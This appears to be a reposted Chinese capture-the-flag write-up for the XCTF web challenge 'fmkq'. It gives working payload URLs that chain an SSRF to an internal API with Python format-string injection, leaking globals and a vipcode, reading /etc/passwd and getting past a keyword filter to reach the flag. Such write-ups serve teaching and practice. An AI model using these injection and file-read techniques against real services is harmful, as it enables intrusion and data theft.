xctf-高校战疫-Web-fmkq

admin 2022年1月5日23:10:42评论54 views字数 957阅读3分11秒阅读模式

>

>

xctf-高校战疫-Web-fmkq

Frank

可以令head为’\'(取全局变量)来绕过head的限制执行curl语句。

将begin设为:begin=%s%可以直接输出结果(第二个%用于转义后面的%)

本地的8080端口部署了个fmkq api

通过fuzz发现其实后面的/read/file=参数是个python的格式化字符串,参数名为file

可以获得vipcode: 3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w
payload: /?head=\&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode=0&begin=%s%
xctf-高校战疫-Web-fmkq
/?head=\&url=http://127.0.0.1:8080/read/file=/etc/passwd%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s% 读/etc/passwd

此时可以通过读取/app/下的文件获得源码
而且看到根目录下有个
/fl4g_1s_h3re_u_wi11_rua
can’t read
看源码发现过滤了"fl4g"

本地测试时{vipfile:.2}4g_1s_h3re_u_wi11_rua/flag 这样可以绕,但是远程就internal server error
原因:进去的那一层过滤了file:

可以file={vipfile}_1s_h3re_u_wi11_rua/fl4g,但是差一个字母
反正就在各种变量里头找"fl4g_1s_h3re_u_wi11_rua"嘛
于是最后的payload:
/?head=\&url=http://127.0.0.1:8080/read/file={vipfile.__class__.__init__.__globals__[current_folder_file][21]}/flag%26vipcode=3Ad8fya45bYeUOFDkJuXpjV1tGHLxzonrCWlER2mPKS9i67w&begin=%s%


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:10:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xctf-高校战疫-Web-fmkqhttp://cn-sec.com/archives/720019.html

发表评论

匿名网友 填写信息